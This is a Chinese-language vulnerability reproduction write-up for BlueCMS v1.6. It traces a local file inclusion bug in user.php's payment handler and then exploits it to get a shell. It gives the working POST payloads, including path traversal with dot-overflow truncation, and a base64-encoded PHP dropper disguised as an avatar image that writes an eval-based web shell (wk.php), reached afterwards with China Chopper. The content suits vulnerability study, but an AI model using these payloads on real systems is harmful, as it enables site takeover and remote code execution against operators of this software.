bluecms
BlueCMS是一款專注於地方門戶網站建設解決方案,基於PHP+MySQL的技術開發,全部源碼開放。
復現版本爲bluecmsv1.6版本,各位可自行下載。
代碼審計
先使用Seay工具審計一波,根據關鍵代碼回溯。
工具顯示user.php文件包含函數存在可控變量,可能存在文件包含漏洞,我們打開代碼所在php文件進一步查看。
關鍵代碼:
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('對不起,您沒有選擇支付方式');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}
可以看到,如果act參數爲pay值,這包含相應文件,其中pay參數沒有過濾。
按道理只要截斷一下,應該可以利用此漏洞。
我們先試圖驗證一下,在根目錄放上一個1.php,以供驗證。
http://192.168.43.150/bluecms1.6/1.php
去到漏洞鏈接所在處,會員中心->充值中心->金幣充值->在線支付
打開burp抓包,發到repeater模塊,構造exp。
%00截斷,失敗
price=1&id=2&name=2&pay=../../1.php%00
?號截斷,失敗
price=1&id=2&name=2&pay=../../1.php?
.溢出截斷,成功
price=1&id=2&name=2&pay=../../1.php........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
漏洞利用
我們的目標是拿shell。
編寫一段惡意代碼,保存爲圖片,包含後可生成我們的shell文件。
測試失敗
<?php @fputs(fopen('wk.php',w),"<?php @eval($_POST['wk']);?>");?>
需要編碼進行繞過
<?php @fputs(fopen(base64_decode('d2sucGhw'),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyd3ayddKTs/Pg=='));?>
去到修改頭像處,上傳我們構造好的圖片,得到圖片路徑
http://192.168.43.150/bluecms1.6/data/upload/face_pic/15843400010.jpg
回到repeater模塊,修改exp,go。
price=1&id=2&name=2&pay=../../data/upload/face_pic/15843400010.jpg........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
去到根目錄處,可以看到我們的shell文件被創建了。
接下來菜刀連接就完事了。